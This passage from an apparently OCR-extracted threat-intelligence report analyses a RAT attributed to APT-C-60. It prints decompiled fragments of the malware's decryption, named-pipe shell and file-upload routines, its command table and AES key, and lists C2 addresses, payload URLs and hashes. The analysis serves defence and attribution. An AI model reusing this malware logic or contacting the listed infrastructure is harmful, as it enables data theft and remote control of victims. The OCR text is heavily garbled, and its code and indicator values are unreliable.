Red4dcrypt_sub 7FEFEDCAI3B(al + 9864, vI, vi4);
v2l = v18 + vB4;

v22 = v111;
do
{
--v22;
v23 = w21 [/ BxA; '
v2s = (& * v23) + v23; upload file content

LOBYTE(v24) = 18 * (v21 / BxA);
22 = w21 % BxA + '8';
v21 f= Bxhu;

}
while ( v23 );

By parsing C&C commands, the RAT distribution thread can achieve the functions such as file directory traversal,
disk information acquisition, process termination, DLL loading, screenshot, downloading, process execution, file or
directory deletion and cmd shell.

L E

a5

The full RAT parsing is as follows.
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Command

Function

cd Enter the specified directory

ddir Acquire file information in the directory
diskinfo Acquire disk information

ddel Delete the file or directory
procspawn Execute the process

proclist Acquire the process list

prockill Kill the process

Id Load dll

attach Load dll

detach Uninstall dll

download Download and decrypt AES
downfree Parse and download URL resource
screenupload Upload screenshot

screenauto Automatic screenshot

upload Activate file stealing thread

cancel cmd shell

Support encrypted file download. The download file landing path is temp%\wcts66889.tmp, which needs to be

decrypted by AES. AES128 key={21 A4 47 12 68 5A 8B A4 29 85 78 3B 67 88 39 99},

Bx827C74B@;
@xD15933C2;
OxAG472B34;
Bx89697969;
Bx1247A421;
BxA4BBSAGSE ;
@x36788529;
B8x99398867;
(s1[26@]) (a1, @isa4,

goto LABEL 7;

15
)

if (1va )
goto LABEL_7;
5= al[1];

goto LABEL 6;

=al+2;

(a1[268])(*a1, @i64);
return BiGd;

a1[264]) (*v7, 1i64, vi1);
[264])(*v7, ai64, &ua);
return *u7;

}

(21[264])(*v7, 3164, &a);
(a1

(=1

The C&C receives shell, transfers it through the local named pipe “\\.\pipe\async_pipe”, and then executes it starting

with cmd.

"Microsoft Enhanced RSA and AES Cryptographic Provider”, 24i64, BxFe@eesee) )// CryptAcquireContextA

3= (a1[262]) (*v2, vi6, 6x1Bis4); /1 CryptHashData

21[263])(*al, Bx66@Ei64, v4, @xBBBERAi64, al + 2) )// CryptDeriveKey,CALG_AES_128

// CryptDestroyHash

// CryptReleaseContext

// CryptSetKeyParam: {21 A4 47 12 68 SA 8B A4 29 85 78 3B 67 88 39 99}

y71[8] = xmmword_7FEF@DEFOAR;

v72 = Bx6500700069164;

if (vig == -1)
goto LABEL_24;

= (*(al + @x8D8))(v71, Ox40000001i64, @i64, 1i64, 4896, 4895, 120008, &v48);// CresteNamedPipeids
P

xmmword _7FEFBDEFIBO;

= (*(al + 0x838))(v71, Ox40OGO000i64, 0i64, 43, 3, 128, 0i64);// CreateFileW

\\.\pipe\async_pipe

14/16



Association Analysis

This sample is basically the same as the execution process of the landing payload in the previous APT-C-60 attack.
The third-stage component TaskControler.dll is the same as the historical attack with same export function and same
code behavior and communication process. The following figure is a screenshot of the historical attack time analysis
of the APT-C-60, in which the forgery payload component directory and payload traversal loading logic in the DLL
payload export function “extension”, “%AppData%\Roaming\Microsoft\” are exactly the same. Therefore, it is more

credible to attribute this attack sample to APT-C-60.

L

del_180003290(0, &v4l,
= InternetOpeni( >
sprintf_180001088(&Dest

, @ie4d);

uploadData_188884D18(v16, v32, &3
uploadData_188884018( " . &
}
}

while ( FindNextFilew( e, &

a7, @i64, 0i64, @);
, @x14, "¥82d", vi5++);
&

8, ab

de1_186003296(0, & L 6i63); 77 (Program Files)
sprintf_1800036F0(&v4%, @x12Cui6d, v36);
strcat_sprintf_l8eees3se(v3o, &4o, & 4);
do
{ i =
if ( FindFileData.dwFileAttributes & @x10 ) RIS
{
sprintf_1800036F0(8v40, Ox184uisd, L"[%s]", sta.cFileName); hash:8DE8D479A3239F6I
if ( strcat_sprintf_180005380(v39, &40, &v33, Buffer, v34) == 1)
174BEEF56DE406E2

s &Dest, v31);
a6, est, v31);

ata) );

RS http://185.145.97.62/cache/A28khttps://bitbucket.org/sorakas/mod/downloads/1932 bmpakht
tps://bitbucket.org/sorakas/mod/downloads/1964.bmpit T E S {HEZE %userprofile % \\Appdata\\R
oaming\\Microsoft\Network\\Files\\combases.db, | SEINEHERSE @%ﬁextensionﬁuﬂ (BT

HEEEEEAN) .

Quoted from https://www.secrss.com/articles/36606

Appendix - 10C
c2

131.226.4.22:80
160.20.147.118:80
162.222.214.50:80
185.145.97.62:80
185.207.206.108:80
82.221.129.104:80
82.221.136.60:80

URL

http://185.145.97.62/temp/cheack.php

http://131.226.4.22/manager/JxQpe5T2nCn747UP.bmp

http://162.222.214.50/temp/sourcea.php
http://185.145.97.62/temp/cheack.php
http://185.145.97.62/cache/A1

http://185.145.97.62/cache/A2

http://185.207.206.108/premium/P1/WHZAZVRYVJTN.bmp

http://82.221.129.104/k0201..txt
http://82.221.129.104/k0201jo.txt

http://82.221.136.60/ping/a22.txt

https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/command.asp
https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/result.asp
https://bitbucket.org/grand9_neat/well/downloads/19132.bmp
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org:443/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org/miravos/style/downloads/1932.bmp
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https://bitbucket.org/miravos/style/downloads/1964.bmp
https://bitbucket.org/sorakas/mod/downloads/1932.bmp
https://bitbucket.org/sorakas/mod/downloads/1964.bmp
https://c.statcounter.com/12733057/0/f9b868f1/1/
https://c.statcounter.com:443/12733057/0/f9b868f1/1/
https://c.statcounter.com/12557354/0/adafede4/1/

https://c.statcounter.com/12557356/0/d8c85be6/1/
Hash

13f09fd98259e6636e523fb8254cf9e8b5c562605dbf826cf2fc3ae57ed09c77
266ee1b357cad72a1a9d0a1a6f7d3f0a53fce60b885ba0983a20d813c22b3009
74b34adf28552f380163346¢151c7dfdcac70e5df2187374113b891e7740ad91
7c4fb90eeb997555dc5d4c1cchbe26a5ae1a3cdadef5571eb3a83c4ac50ffd906
7ec34297e0c4e5b1bb315be24d7259211ab658112dc0f9d6d727 15441872440
92912bfb10b475958ab1bae510be6829c2eb11b8eb5fd365321db642457328da
9bb60e54c09934c559¢7dc0bb0eb0527a7e2e066cd1c452ed4f4519025d1f9b0
a995f4e4e5bec985ea974dac2a65056e7ab9f2b80430d94857530bedef5e74f6
b2dd50760765abfbed0a7db480d4429228b165¢ch23b720d11abc4390c30a26fc
bc879fe3e928ca9c1de4b9a600716f2076e6ce371313255797fb312cf9f7dd04

bffacbbOb54a3b1dd6f25686d2486d0a064f5e8eedefb4e572740f7b63badfas

dbc1754de49824d25ef6d9cc338512a61d56ec14363355e68acfc6f450c2c0e4
e869e82a9f44d81b272e53b449da7c8c4a667cf26dea8dee67086726ab22¢500
edec420761cd95ba706c9f50f29bbb76786d5279c4ada162f513e0cb1fa4cf84
ee862a3d57e45a2b29da9%e74987016061e225df71a558c6a42f0819cc7496664

f50cd82717837a5b5fb985¢8f080fa3d5cabb05b146aed14e3810ae90fb37e01
File Path

Y%appdata%\Microsoft\Vault\UserProfileRoamings\
%appdata%\Microsoft\Vault\

Y%appdata%\Microsoft\Internet Explorer\UserData\

%AppData%\Microsoft\HTML Help\
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